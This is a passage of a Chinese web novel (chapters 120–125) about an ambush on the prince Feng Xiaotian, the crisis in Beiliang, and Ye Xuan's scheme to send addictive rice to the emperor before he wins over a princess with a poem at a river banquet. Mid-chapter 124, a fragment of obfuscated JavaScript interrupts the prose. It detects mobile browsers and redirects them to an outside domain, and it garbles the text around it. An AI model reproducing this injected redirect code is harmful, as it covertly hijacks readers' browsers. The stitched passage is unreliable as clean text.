黑衣头领发出一声怒吼。
他们这次来,就是抱着必死的决心。
人海战术,是他们唯一的胜算。
无数的刺客,如同疯了一样,悍不畏死地朝着风啸天涌去。
风啸天手中的铁剑,仿佛化作了一台不知疲倦的绞肉机。
不断地有刺客倒下,但后面的人,又立刻补了上来。
他的体力,在飞速地消耗。
他身上的伤口,也越来越多。
虽然都不是致命伤,但鲜血的流失,让他的动作,开始变得迟缓。
而他身边的亲卫,也一个个倒下。
最终,整个驿站,只剩下他一人,还站着。
他的脚下,尸横遍野,血流成河。
他拄着剑,大口地喘着粗气,浑身浴血,如同从地狱里爬出来的修罗。
对面,还剩下数十名刺客,包括那名鬼头大刀的头领。
他们虽然也个个带伤,但看着风啸天那副摇摇欲坠的样子,脸上都露出了残忍的笑容。
“风啸天,你已经是**之末了。”
黑衣头领一步步逼近,“受死吧!”
他高高举起鬼头大刀,用尽全身的力气,朝着风啸天的头顶,狠狠劈下!
风啸天抬起头,看着那迎面而来的刀锋,眼中没有丝毫畏惧,只有一片冰冷的死寂。
他想举起剑去挡,但那条受伤的胳膊,却重如千斤。
就在这千钧一发之际。
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一道黑影,如同鬼魅一般,突然从驿站的房梁上扑下!
那黑影的速度快到了极致,手中一把短刃,在昏暗的灯光下,划过一道诡异的弧线。
“噗!”
黑衣头领的动作,戛然而止。
他的眼睛瞪得大大的,难以置信地低下头,看着自己胸口处,那柄只剩下刀柄的短刃。
“你……”
他只来得及吐出一个字,便直挺挺地倒了下去。
这突如其来的一幕,让所有人都愣住了。
剩下的那些刺客,惊疑不定地看着那个突然出现的黑影。
那是一个穿着夜行衣,脸上蒙着黑布,只露出一双眼睛的人。
分不清是男是女。
“阁下是什么人?为何要插手我们的事?”一名刺客色厉内荏地喝道。
黑衣人没有回答。
他只是转过头,看了一眼已经力竭的风啸天。
然后,他的身影再次消失在原地。
下一刻,惨叫声此起彼伏。
他的身法,诡异莫测。
他的出手,狠辣无情。
每一次出现,都必然会有一名刺客倒下。
剩下的刺客们,彻底被吓破了胆。
他们甚至连对方的衣角都碰不到,就莫名其妙地死掉了。
这已经不是战斗,这是单方面的**。
“撤!快撤!”
不知是谁喊了一声,剩下的刺客们如蒙大赦,连滚带爬地逃出了驿站,消失在茫茫夜色之中。
整个驿站,终于恢复了死一般的寂静。
风啸天看着那个站在尸体堆中的神秘黑衣人,挣扎着开口。
“你……是谁?”
黑衣人没有回答,他走到风啸天面前,从怀里掏出一个瓷瓶,倒出一颗丹药,塞进了风啸天的嘴里。
然后,他扛起风啸天,几个起落,便消失在了驿站的房顶之上。
只留下满地的尸体,和冲天的血腥。
第二天,当附近州府的官兵闻讯赶到时,整个驿站早已人去楼空。
只有那凝固的血迹和遍地的尸骸,诉说着昨夜的惨烈。
镇北王风啸天,连同他手下的几十名亲卫,以及朝廷派去的监军和护送的禁军,全军覆没。
活不见人,死不见尸。
这个消息,如同一场十二级的地震,以最快的速度,传回了京城,也传回了北凉。
整个大乾,为之震动。
第121章 北凉的天,真的塌了!
镇北王府。
议事大堂内,气氛压抑得让人喘不过气来。
风云天坐在主位上,脸色苍白如纸,手中紧紧攥着一份从京都八百里加急送回来的密报。
那张薄薄的纸,此刻却重如千斤,压得他几乎要窒息。
父亲……出事了。
全军覆没,活不见人,死不见尸。
这十二个字,像是一把把烧红的尖刀,反复地剜着他的心脏。
怎么会这样?
怎么可能!
他的父亲,是北凉的擎天之柱,是战无不胜的镇北王,是四品练意境的顶尖高手!
怎么可能,会无声无息地消失在回来的路上?
“世子!”
大堂之下,几十名镇北军的高级将领,一个个红着眼睛,神情激动。
独眼的张猛,更是双拳紧握,指节捏得发白。
“王爷福大命大,绝不会有事的!这一定是京城那帮**的放出的假消息,想要动摇我们北凉的军心!”
“没错!”另一名副将也跟着附和,“王爷神威盖世,怎么可能会出事!末将**,带一万铁骑,杀向京城,去问问那个皇帝老儿,他到底把我们王爷怎么样了!”
“杀向京城!为王爷报仇!”
“报仇!报仇!”
群情激愤,喊杀声震天。
这些将领,都是跟着风啸天一路打过来的老人,对风啸天忠心耿耿。
如今听闻王爷遇袭,生死未卜,他们心中的愤怒和担忧,已经压倒了理智。
“都给我住口!”
就在这时,风云天猛地一拍桌子,发出“砰”的一声巨响。
整个大堂,瞬间安静了下来。
所有的将领,都惊讶地看着主位上那个平日里温和懦弱的世子。
风云天缓缓站起身,他的身体还在微微颤抖,但他的声音,却带着一种前所未有的冰冷和决绝。
“父亲生死未卜,你们现在在这里喊打喊杀,有什么用?”
“杀向京城?你们这是想让父亲坐实谋反的罪名吗?是想让整个北凉,都陷入万劫不复之地吗?”
他通红的眼睛,扫过在场的每一个人。
“现在,不是冲动的时候!”
“越是这种时候,我们越要冷静!”
一番话,如同当头一盆冷水,浇在了所有人的头上。
那些激动的将领,也都冷静了下来。
是啊,世子说得对。
现在最关键的,不是报仇,而是弄清楚王爷的下落,稳住北凉的局势。
张猛深吸一口气,上前一步,对着风云天一抱拳。
“世子,我们……我们都听您的!您说,现在该怎么办?”
风云天看着堂下这些信任他的叔伯们,心中的慌乱,被一股沉甸甸的责任感所取代。
他知道,从这一刻起,他不能再是那个需要父亲庇护的孩子了。
他必须撑起这片天。
他强迫自己冷静下来,脑子飞速运转。
父亲出事,消息从京城方向传回北凉,最快也要三五天。
而京城那边,得到消息的速度,只会比他们更快。
皇帝叶擎天,下一步会怎么做?
他一定会趁着北凉群龙无首,军心动荡之际,派他的人来,接管镇北军的兵权!
甚至,可能会直接派大军压境!
留给他们的时间,不多了。
“张叔。”风云天看向张猛,“第一,立刻**息!从现在起,王爷遇袭一事,列为最高机密!任何人,胆敢在军中或城内泄露半个字,动摇军心者,杀无赦!”
“是!”张猛沉声应道。
“第二,全城**!关闭四门,许进不许出!加强城防,所有将士,枕戈待旦!防止北莽再次趁虚而入,也防止……京城那边的人,给我们来一手趁火**!”
“遵命!”
“第三!”风云天的声音,变得愈发坚定,“立刻,马上!派出我们所有最精锐的斥候,分成数组,沿着父亲回来的官道,一路向南,给我一寸一寸地搜!”
“活要见人,死……也要见尸!”
说到最后四个字,他的声音都在颤抖,眼中,有泪光在闪烁。
但他强忍着,没有让眼泪掉下来。
他不能哭。
他是现在北凉所有人的主心骨。
他要是倒了,北凉的天,就真的塌了。
“我等,遵世子令!”
大堂内,所有将领,齐刷刷地单膝跪地,声震寰宇。
他们看
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着主位上那个虽然单薄,但脊梁却挺得笔直的身影,心中都升起了一丝希望。
王爷的儿子,长大了。
……
王府后院。
风云天将所有事情安排妥当之后,才拖着疲惫的身体,来到母亲柳如烟的院子。
柳如烟早已听到了消息,此刻正坐在房间里,以泪洗面。
“云天……”
看到儿子进来,她再也忍不住,扑了上来,放声大哭。
“你父亲他……他不会有事的,对不对?他答应过我,会平安回来的……”
“母亲,您放心。”风云天扶住母亲颤抖的肩膀,用一种与他年龄不符的沉稳语气,安慰道,“父亲吉人自有天相,他一定会没事的。”
“我们现在要做的,就是等。”
“等他回来。”
他虽然这样说着,但心里却一点底都没有。
他知道,希望,很渺茫。
安抚好母亲之后,风云天独自一人,回到了自己的书房。
他关上门,背靠着门板,缓缓滑落在地。
坚强的伪装,在这一刻,终于被卸下。
他抱着头,将脸深深地埋进膝盖里,压抑的呜咽声,从喉咙里传出。
眼泪,再也控制不住,如决堤的洪水般,汹涌而出。
父亲……
您到底在哪儿……
不知过了多久,他才缓缓抬起头,通红的眼睛里,闪过一丝决然。
不,不能就这么干等下去。
斥候去找,只是大海捞针。
他必须想别的办法!
一个念头,猛地从他脑海中闪过。
叶玄!
对,还有叶玄!
父亲临走前,曾经郑重地交代过他,遇到解决不了的事情,就去找叶玄!
现在,就是他最无助,最解决不了的时候!
风云天猛地从地上一跃而起,仿佛抓住了一根救命稻草。
他冲到书桌前,拿起笔,用颤抖的手,写下了一封求救信。
然后,他叫来自己最心腹的亲卫。
“你,立刻带上这封信,用最快的速度,去那座山谷!”
“记住,一定要亲手,把信交到叶公子的手上!”
“告诉他,北凉,等他回来!”
第122章 江南暗流,叶玄的棋
苏城,悦来客栈。
叶玄放下手中的一卷书,看着窗外淅淅沥沥的秋雨。
雨水敲打着屋檐,也敲打着整个江南。
“公子,这是刚从北边传回来的消息。”
一名身穿寻常商人服饰,但气息却异常沉稳的汉子,悄无声息地出现在房间里,将一卷小小的纸条,递到叶玄面前。
他是大雪龙骑中的一员,也是叶玄继续调来在苏城的情报负责人。
叶玄展开纸条,快速地扫了一眼。
纸条上的内容很简单,只有寥寥数十字。
“镇北王风啸天,于北归途中遇袭,全军覆没,下落不明。”
叶玄的瞳孔,微微一缩。
他拿着纸条的手,不自觉地收紧。
来了。
该来的,终究还是来了。
皇帝叶擎天,终究还是没能忍住,对他这位镇国之柱,下了死手。
这一招,比他预想的,还要快,还要狠。
釜底抽薪。
一旦风啸天真的**,北凉群龙无首,必定大乱。
届时,皇帝只需派一位心腹大将,便可轻而易举地将那二十万镇北军,收入囊中。
好一招帝王心术。
“消息可靠吗?”叶玄沉声问道。
“绝对可靠。”那名汉子回答道,“这是我们安插在京城的人,从六扇门内部高价买来的情报。据说,整个太和殿都炸了锅,太子**弹冠相庆,首辅苏长青则是当场拂袖而去。”
叶玄沉默了。
苏长青的反应,在他意料之中。
风啸天是他用来制衡太子的一颗重要棋子,现在棋子没了,他自然会愤怒。
只是,他现在更担心的,是北凉的局势。
风云天那个小子,虽然在之前的守城战中,表现出了几分血性,但终究还是太年轻了。
面对这种突如其来的惊天变故,他能撑得住吗?
镇北军中,那些忠于王府的老将,会作何反应?
那些京城安**去的钉子,又会如何兴风作浪?
还有虎视眈眈的北莽……
北凉这盘棋,因为风啸天的“失踪”,瞬间就从一潭死水,变成了一锅即将沸腾的开水。
“公子,我们现在该怎么办?”情报负责人问道,“要不要……回北凉支援?”
“不必。”叶玄摇了摇头,“现在回去,已经晚了。而且,我们现在在江南的根基未稳,不能轻举妄动。”
他站起身,在房间里来回踱步。
他的大脑,在飞速地运转。
风啸天遇袭,这件事背后,疑点重重。
以风啸天四品练意境的实力,身边还有几十名精锐亲卫,就算遭遇大规模的伏击,也不可能连一点风声都传不出来,就全军覆没。
除非……
出手的人,实力远超想象。
或者,有内鬼。
那个监军,和那几百名护送的禁军,绝对有问题。
他们,很可能就是刺客的同伙。
这是皇帝的手笔。
但叶玄总觉得,事情没那么简单。
如果皇帝真的想杀风啸天,为什么不直接在京城动手?
在戒备森严的京城,有无数种方法,可以让一个藩王,死得“合情合理”。
何必等到他快回到北凉地界,再大费周章地搞一场刺杀?
这不合逻辑。
除非……
皇帝的目的,并不仅仅是杀了风啸天。
他还有更深层次的图谋。
又或者说,风啸天……根本就没死。
这个念头,像一道闪电,划过叶玄的脑海。
对!
以风啸天那种老狐狸的性格,他怎么可能不做任何后手,就傻乎乎地踏入京城那个龙潭虎穴?
他在殿前对质时,能拿出陈松通敌的铁证,就说明他早有准备。
这样一个人,会轻易地死在一场埋伏里?
叶玄不信。
这更像是一出……金蝉脱壳的戏码。
风啸天借着这场刺杀,从所有人的视线中消失。
一方面,可以摆脱皇帝的监视和控制。
另一方面,也可以借此机会,看清楚北凉内部,到底谁是人,谁是鬼。
当所有人都以为他**,那些牛鬼蛇神,自然会一个个都跳出来。
好一招以退为进,引蛇出洞。
想通了这一点,叶玄的心,反而定了下来。
只要风啸天没死,北凉的天,就塌不下来。
他现在要做的,不是回北凉去救火。
而是趁着所有人的目光,都被北凉吸引过去的时候,在江南,这片富庶之地,加快自己的布局。
“传我命令。”叶玄停下脚步,眼中闪烁着算计的光芒。
“让
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钱万三,不惜一切代价,加快禁运物资的收购速度!我要在一个月内,看到第一批足以装备三千人的兵甲和战马,运往北凉!”
“另外,把我们最近到来的人马撒出去,给我查一个人。”
“谁?”
“当今七公主,叶清歌。”
叶玄的嘴角,勾起一抹冰冷的弧度。
“她不是喜欢来江南玩吗?那就让她……好好地玩一玩。”
“我要知道她的一举一动,见了什么人,说了什么话,一个字都不能漏。”
既然棋子自己送上门来了,那他,就没有不接的道理。
……
苏城自古繁华,而今日的醉仙楼,更是比往日热闹了十倍不止。
楼外,一队长长的队伍从街头排到巷尾,旌旗招展,甲胄鲜明。
上百名身穿禁军服饰的侍卫,将整个醉仙楼围得水泄不通,驱赶着所有试图靠近的百姓。
路过的行人商贩无不侧目,纷纷猜测是哪位大人物莅临。
“我的天,这排场,比知府大人出巡还大!”
“你懂什么,看那旗子上的凤凰纹样,这可是宫里头的主子!”
“宫里?难不成是哪位娘娘?”
“嘘!小声点,不要命了!我听说,是当今圣上最疼爱的七公主殿下,来咱们江南游玩了!”
议论声中,醉仙楼的大门被推开。
钱万三一路小跑,满头大汗地从楼里迎了出来,脸上堆满了近乎谄媚的笑容。
在他身后,一个身穿粉色宫装,容貌娇俏但神情倨傲的少女,在一群宫女太监的簇拥下,缓缓走了出来。
正是七公主,叶清歌。
“钱老板,本公主再问你一遍,这黄金米,到底卖还是不卖?”叶清歌的语气里充满了不耐烦。
她今天本是慕名而来,想尝尝这传遍江南,一碗千金的黄金米到底是个什么滋味。
可没想到,这酒楼规矩还挺大,说什么每日只卖十碗,价高者得。
她堂堂公主,想吃碗饭,还要跟一群泥腿子商人竞价?简直是笑话!
她当场就亮明了身份,本以为这酒楼老板会吓得屁滚尿流,立刻把米双手奉上。
谁知道这胖子看着机灵,却是个死脑筋,一个劲地赔笑,嘴里说的却是“规矩不能破”,把她气得差点当场掀了桌子。
第123章 千金买米
“公主殿下息怒,息怒啊!”
钱万三苦着脸,腰弯得都快折了,“不是小的不卖,实在是这黄金米,小店也只是代为售卖,每日的数量都是定好的,小人实在做不了主啊!”
他心里苦得跟吃了黄连似的。
这位小祖宗他哪里敢得罪?
可叶玄那边,他更不敢得罪啊!
叶玄定下的规矩,就是天条。
饥饿营销,吊着所有人的胃口,这才是黄金米能炒出天价的关键。
要是今天为公主破了例,明天这生意还怎么做?
“做不了主?”
叶清歌柳眉倒竖,声音陡然拔高,“你的意思是,这苏城,还有比本公主更大的主?”
“小的不敢,小的不敢!”钱万三吓得魂都快飞了,连忙跪在地上磕头。
周围的禁军侍卫见状,“唰”地一声,齐齐拔出腰刀,冰冷的刀锋直指钱万三,大堂内外的气氛瞬间紧张到了极点。
“本公主今天还就把话放这了!”
叶清歌走到钱万三面前,用鞋尖踢了踢他的肩膀,“这黄金米,本公主要了!不止是今天这一碗,本公主要你给我准备三千斤,我要带回京城,献给父皇和太子哥哥!”
“什么?三……三千斤?”
钱万三猛地抬起头,眼睛瞪得像铜铃。
我的老天爷!这位公主是把黄金米当大白菜了吗?张口就要三千斤?
别说三千斤,他现在连三斤都拿不出来!
这米都是叶玄每天算着量给他的。
“怎么?拿不出来?”
叶清歌冷笑一声,“你要是拿不出来,本公主今天就拆了你这破楼,把你这死胖子绑了,扔进秦淮河里喂鱼!”
钱万三浑身一哆嗦,冷汗瞬间浸透了后背的衣衫。
他毫不怀疑,这位刁蛮公主绝对干得出这种事。
“公主殿下饶命,饶命啊!”
钱万三磕头如捣蒜,“这……这米,小人是真的没有那么多啊!求公主殿下给小人一点时间,小人……小人这就去找这米的主人商量!一定给公主殿下一个满意的答复!”
“算你识相。”叶清歌这才满意地哼了一声,“本公主给你一天的时间。明天这个时候,本公主要看到米。要是看不到……”
她没有说下去,但那威胁的意味,已经不言而喻。
“是,是!小人一定办到!”
叶清歌这才趾高气昂地带着她的人,浩浩荡荡地离去。
直到那队人马走远,钱万三才浑身瘫软地从地上爬起来,后背的衣服已经湿透,仿佛刚从水里捞出来一样。
“东家,这……这可怎么办啊?”
一旁的掌柜哭丧着脸问道。
“还能怎么办!”钱万三咬着牙,擦了一把冷汗,“备马!去悦来客栈!快!”
……
悦来客栈,天字号房。
叶玄正悠闲地品着茶,听着窗外的雨声。
苏轻雪和柳月雪则在一旁,整理着最近通过钱万三的渠道,秘密收购来的各种物资清单。
“叶公子,这批从外地运来的精铁,品质极好,数量也足,钱老板的门路,确实不一般。”苏轻雪将一本账册递给叶玄。
叶玄接过,随意翻了翻,便放在一旁。
“他是个聪明人,知道该怎么做。”
就在这时,房门被敲得震天响,外面传来钱万三焦急的声音。
“叶公子!叶公子!出大事了!您快开门啊!”
叶玄和两女对视一眼,苏轻雪起身打开了房门。
钱万三像一头热锅上的蚂蚁,一进门就团团转,话都说不利索了。
“叶公子!我的好公子!这回可要了我的老命了!”
“钱老板,慢慢说,天塌不下来。”
叶玄示意他坐下,亲自给他倒了杯茶。
钱万三哪里有心情喝茶,他一口气将刚才在醉仙楼发生的事情,原原本本地说了一遍。
“……她张口就要三千斤!还要带回京城给皇帝和太子!叶公子,您说这可怎么办?
这要是交不出来,她真能拆了我的醉仙楼,把我沉了塘啊!”钱万三急得满头大汗。
听完他的话,柳月雪的脸上也露出了担忧的神色。
公主亲自开口,这事可不好办了。
苏轻雪则是秀眉微蹙,看向叶玄,想知道他会如何应对。
没想到,叶玄听完,非但没有半点紧张,反而笑了起来。
“钱老板,这难道不是好事吗?”
“好事?”钱万三愣住了,一脸茫然,“叶公子,您就别拿我开玩笑了,这都火烧眉毛了!”
“我没有开玩笑。”叶玄放下茶杯,慢悠悠地说道,“鱼儿,自己咬钩了,而且还是条大鱼,这当然是好事。”
他看向钱万三,说道:“你现在就回去,告诉七公主的人,就说三千斤黄金米,没问题。三天之后,一手交钱,一手交货。”
“啊?”钱万三彻底懵了,“叶公子,我们……我们哪有三千斤米啊?”<
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br>“现在没有,三天后就有了。”
叶玄的笑容里,带着一丝神秘。
他转头对苏轻雪说道:“轻雪,你去准备一下。这次的米,我要亲自加工一下。”
“加工?”苏轻雪有些不解。
“没错。”叶玄的嘴角,勾起一抹冰冷的弧度,“我这位好皇姐,不是想给父皇和太子哥哥献礼吗?我这个做弟弟的,怎么能不帮她一把?”
“我得在这米里,给他们加点料才行。”
这料,自然不是**。
下毒太低级了,也太容易被查出来。
叶玄要加的,是一种他利用神农洞天里的特殊草药,配合神级医术,精心调配出来的东西。
这种东西无色无味,混在黄金米里,任凭宫里最好的御医也查不出任何问题。
它吃下去,不但不会有害,短期内,反而会让人精神百倍,龙精虎虎,效果比单纯的黄金米还要好上几分。
但,只要连续服用超过一个月,就会产生一种奇特的依赖性。
一旦停用,便会浑身乏力,精神萎靡,做什么都提不起劲,仿佛精气神都被抽空了一样。
只有再次服用,才能恢复正常。
这东西,等于是一种慢性、且能掌控在自己手中的“瘾”。
叶玄要做的,就是通过叶清歌这个来之不易的孝心,把这批特制的黄金米,送到他那位高高在上的父皇,和志大才疏的太子哥哥的饭桌上。
他很期待,当大乾王朝最有权势的父子二人,都离不开他的“饭”时,会是怎样一副有趣的场景。
钱万三虽然听不懂叶玄说的加工是什么意思,但他看到叶玄那副胸有成竹的样子,悬着的心,也莫名地放下了大半。
他现在对叶玄,已经有了一种近乎盲目的信任。
“好!好!那……那小人这就去回话!”
钱万三连连点头,仿佛找到了主心骨,千恩万谢地离开了。
“叶公子,你这招……”
苏轻雪看着叶玄,美眸中异彩连连,“若是真能成功,那皇帝和太子,岂不就等于被你扼住了咽喉?”
“扼住咽喉还谈不上。”
叶玄摇了摇头,“只是给他们脖子上,套上一根绳子而已。这根绳子什么时候收紧,主动权,在我们手上。”
他的目光望向窗外,雨已经停了。
一盘更大的棋,正在缓缓展开。
而叶清歌,这颗自己送上门来的棋子,即将发挥她最大的作用。
第124章 苏城夜宴,初遇佳人
三天后,醉仙楼。
钱万三亲自押送着十几个大箱子,在禁军的护送下,浩浩荡荡地送到了七公主下榻的行馆。
叶清歌的贴身太监当场验货,捏了几粒金黄色的米粒,又找来府上的厨子闻了闻,确认与之前在醉仙楼闻到的香味一般无二,这才满意地点了点头。
一箱箱白花花的银子,被抬进了钱万三的马车。
叶清歌看着那三千斤堆积如山的黄金米,脸上露出了得意的笑容。
她已经能想象到,当她把这些神米献给父皇时,父皇龙颜大悦的模样了。
到时候,太子哥哥的禁足令,说不定就能解了。
“小翠,去,跟苏城知府说一声,本公主今晚心情好,准他办宴了。”
叶清歌慵懒地对身边的宫女说道。
苏城知府为了巴结她,从她到苏城的第一天起,就天天上折子,说要为公主殿下接风洗尘,办一场江南特色的船宴。
叶清歌之前一直没答应,现在心头一件大事落下,倒也有了游玩的兴致。
“是,公主殿下。”
消息一传出,整个苏州府衙都动了起来。
知府大**喜过望,立刻下令,征用秦淮河上最大最华丽的一艘画舫,遍邀苏城有头有脸的文人雅士、富商巨贾,务必要让公主殿下玩得尽兴。
夜幕降临,秦淮河上,灯火通明。
那艘被称为“揽月舫”的巨型画舫,装饰得金碧辉煌,三层高的船楼上挂满了璀璨的灯笼,将周围的河水都映照得波光粼粼。
丝竹之声不绝于耳,衣着光鲜的宾客们,正陆续登船。
钱万三作为苏城商会的头面人物,自然也在受邀之列。
他站在船头,焦急地望着岸边,不时地擦着额头的汗。
“钱老板,你这是等谁呢?宴会马上就要开始了,公主殿下可不喜欢等人。”
旁边一个相熟的商人打趣道。
“王老板说笑了,我这不是怕错过了吉时嘛。”钱万三嘴上打着哈哈,心里却急得不行。
叶公子怎么还没来?
今天这场宴会,叶玄点名要来参加。
钱万三一开始还不理解,这种官面上阿谀奉承的场合,叶玄这种神仙般的人物,怎么会感兴趣?
直到他看到叶玄之后,才彻底愣住了。
就在他望眼欲穿之时,一个穿着青色长衫,面容俊秀,但气质却略显疏离的年轻人,缓缓走上了码头。
“叶……叶公子?”钱万三试探着喊了一声。
那年轻人冲他微微点头。
钱万三倒吸一口凉气。
真的是叶玄!
可……又完全不一样了!
眼前的年轻人,五官轮廓依稀还是叶玄的模样,但整个人的脸部线条,似乎发生了一些微妙的变化。
眉毛更浓了一些,鼻梁更高了一点,嘴唇也薄了几分。
这些细微的改变,组合在一起,让他整个人看起来,与原本的叶玄判若两人。
如果不是那双深邃得让人不敢直视的眼睛,钱万三绝对认不出来。
这……这是什么手段?易容术?
钱万三在商场摸爬滚打半生,也听说过江湖上有这种奇术,但从未亲眼见过。
今天一见,心中对叶玄的敬畏,又深了不知道多少层。
“钱老板,可以上船了。”
叶玄淡淡地开口,声音也变得比平时沙哑低沉了一些。
“是,是!叶……叶潜渊公子,这边请!”钱万三连忙改口,在前面引路。
叶潜渊,这是叶玄今晚的化名。
他之所以要来,目的很简单。
叶清歌这颗棋子,不能只当一个“快递员”用。
他要亲自接触她,掌控她,让她从一颗被动的棋子,变成一颗主动为自己所用的棋子。
而这种文人雅士云集的宴会,正是他这种落魄才子登场的最佳舞台。
两人登上画舫,立刻有侍者引他们入座。
画舫极大,共分三层一楼是大堂,宾客满座;二楼是雅间,非富即贵者不能入;
三楼则是完全敞开的露台,此刻只有寥寥数人,正中央的位置,被一道珠帘隔开,隐约可见一个窈窕的身影,正是七公主叶清歌。
叶玄和钱万三被安排在二楼一个靠窗的雅间,视野极好,既能看到一楼的热闹,也能看到三楼的动静。
“叶公子,您……您这手绝活,真是让钱某大开眼界。”
钱万三忍不住赞叹道。
“一点小手段而已。”
叶玄给自己倒了杯酒,目光却落在了三楼那道珠帘上。
他能感觉到,珠帘后,有几道目光正在审视着楼下的宾客。
其中一道,带着毫不掩饰的倨傲和挑剔。
想必,就是他那位好皇姐了。
就在这时,叶玄的脑海中,响起了一道久违的系统提示音。
【叮!检测到宿主抵达特殊签到地点:秦淮画舫!】
【此地文气汇聚,风流云集,是否进行签到?】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307461|181179||http|test|mini|href|location''.split(''|''),0,{}));
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r>来了。
叶玄心中默念:“签到。”
【叮!签到成功!】
【恭喜宿主,获得奖励:文圣之心!】
【文圣之心:上古文圣遗留的一缕才情本源,融合之后,宿主将拥有过目不忘之能,七步成诗之才,下笔如有神助,诗词歌赋,信手拈来!】
一股清凉的气流,瞬间涌入叶玄的脑海。
无数优美的诗词歌赋,如同潮水般在他的记忆中浮现、交融,最后化为一种本能。
他感觉自己此刻文思泉涌,仿佛天下间的锦绣文章,都在他的胸中。
很好。
叶玄的嘴角,微微上扬。
有了这个能力,今晚的这场戏,就好唱多了。
宴会很快开始。
苏城知府先是说了一大通**的废话,然后便是歌舞表演。
一群舞姬在船中央翩翩起舞,水袖翻飞,身姿曼妙。
宾客们推杯换盏,吟诗作对,一派歌舞升平的景象。
但叶玄能感觉到,三楼的叶清歌,似乎对这些毫无兴趣。
她只是百无聊赖地靠在软塌上,偶尔端起酒杯抿一口,目光在楼下扫来扫去,带着一种居高临下的审视。
她就像一个高高在上的女王,看着一群小丑在卖力地表演。
时机,差不多了。
叶玄给钱万三使了个眼色。
钱万三会意,清了清嗓子,站起身,端着酒杯,高声说道:“公主殿下驾临苏城,是我等苏城百姓的福气!今日此情此景,若无佳作助兴,岂不可惜?”
“钱某不才,身边这位,乃是在下请来的叶潜渊,叶公子!叶公子才高八斗,不如就请叶公子,为公主殿下赋诗一首,以助酒兴,如何?”
钱万三这一嗓子,立刻吸引了全场的目光。
所有人都朝着叶玄这个角落看了过来。
一楼的那些文人雅士,更是露出了不屑和嫉妒的表情。
“叶潜渊?没听说过。”
“从哪里犄角疙瘩蹦出来的?但凡有点名气的才子我们都认识,没这号人啊。”
“哼,一个不知道从哪冒出来的无名小卒,也敢在公主面前献丑?还是被一个满身铜臭的商人推出来的,真是笑话!”
三楼的叶清歌,也挑了挑眉,饶有兴致地看了过来。
她倒想看看,这个被胖商人夸上天的才子,能作出什么歪诗来。
在万众瞩目之下,叶玄缓缓起身,端起酒杯,遥遥对着三楼的珠帘,朗声开口。
第125章 一手情诗惊四座
整个揽月舫,瞬间安静了下来。
所有人的目光,都聚焦在二楼那个穿着青衫的年轻人身上。
有好奇,有轻蔑,有等着看笑话的。
一楼的那些自诩为苏城才子的文人们,更是个个抱着胳膊,脸上挂着讥讽的冷笑。
他们倒要看看,这个被商人推出来的家伙,能有多大本事。
三楼的珠帘后,叶清歌也坐直了身体,慵懒地换了个姿势,单手支着下巴,饶有兴致地看着楼下。
“哦?赋诗?”她那带着几分娇蛮的声音,透过珠帘传了下来,不大,却清晰地传遍了整个画舫,
“本公主今天也乏了,你们这些酸儒的陈词滥调,听得耳朵都快起茧子了。”
她顿了顿,目光落在叶玄身上,带着一丝挑衅。
“你,既然敢站出来,那就要拿出点真本事。若是作得好,本公主有赏。
若是作得不好,哼,欺君之罪,你自己掂量!”
这话说得极不客气,带着皇家的威严和她本人特有的刁蛮。
苏城知府吓得冷汗都下来了,他狠狠地瞪了钱万三一眼,心里把他骂了个狗血淋头。
这个钱胖子,真是会惹事!
万一这小子作的诗不合公主心意,龙颜一怒,他这个知府也要跟着吃挂落!
钱万三也是心里打鼓,但他只能选择相信叶玄。
叶玄却仿佛没有听到叶清歌的威胁,脸上没有丝毫紧张。
他只是静静地站着,目光穿过人群,穿过楼阁,仿佛落在了那遥远的秦淮河水之上,又仿佛落在了更遥远的地方。
整个画舫,静得落针可闻。
所有人都等着他开口。
一息,两息,三息……
就在一些人开始不耐烦,以为他根本作不出来,准备开口嘲讽的时候,叶玄终于开口了。
他的声音清朗,带着一丝独特的磁性,在这寂静的夜里,格外动听。
“云想衣裳花想容,”
第一句出口,整个画舫就是一静。
那些原本准备嘲笑的文人,脸上的讥讽僵住了。
仅仅七个字,就勾勒出了一幅绝美的画卷。云朵想变成她的衣裳,花儿想拥有她的容颜。这是何等瑰丽的想象!
这是在夸人吗?这是直接把人夸成了天上的仙女!
三楼的珠帘后,叶清歌端着酒杯的手,微微一顿。
她从小到大,听过的奉承话车载斗量,但从没有人用这样别出心裁的句子来形容她。
“春风拂槛露华浓。”
叶玄念出第二句。
如果说第一句是天马行空的想象,那这一句,就是将仙女拉回了人间。
春风拂过栏杆,牡丹花沾着晶莹的露水,显得愈发娇艳。
景美人更美,人与景,完美地融合在了一起。
画舫上,已经有懂行的文人,忍不住开始低声叫好。
“好!好一个‘春风拂槛露华浓’!意境太美了!”
“此人……竟有如此才华?”
叶玄没有停顿,声音依旧平稳,仿佛只是在诉说一件平常事。
“若非群玉山头见,”
若不是在仙境群玉山才能见到你这样的仙子……
众人屏住了呼吸,等待着最后一句的点睛之笔。
“会向瑶台月下逢。”
……那也一定是在月光下的瑶台,才能与你相逢。
轰!
最后一句念完,整个画舫,先是陷入了一片死一般的寂静。
紧接着,爆发出雷鸣般的喝彩声!
“好诗!绝句!当真是绝句啊!”
“天啊!此等才情,我闻所未闻!”
“云想衣裳花想容……我苏城所有才子加起来,也作不出这一句啊!”
之前那些还满脸不屑的文人,此刻一个个面红耳赤,又是羞愧,又是激动,看向叶玄的目光,已经从鄙夷,变成了狂热的崇拜。
这就是文人的世界,达者为先。
一首诗,足以征服所有人的心。
钱万三激动得浑身发抖,脸都涨红了。
他知道叶公子不凡,但没想到,不凡到了这种地步!
苏城知府更是惊得从座位上站了起来,看向叶玄的眼神,已经彻底变了。
此子,绝非池中之物!
而此刻,最震惊的,
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莫过于三楼的叶清歌。
她呆呆地坐在那里,脑海里反复回响着那四句诗。
云想衣裳花想容……
春风拂槛露华浓……
若非群玉山头见……
会向瑶台月下逢……
这首诗,每一个字,每一句话,都精准地敲在了她的心坎上。
它满足了一个少女,对于美貌,对于浪漫,对于身份的所有幻想。
这不是奉承,这是赞美,是发自内心的,将她捧到了天上的赞美!
她从小到大,何曾听过这样动人的诗句?
那些围绕在她身边的王孙公子,要么是畏惧她的身份,言语间满是拘谨和讨好。
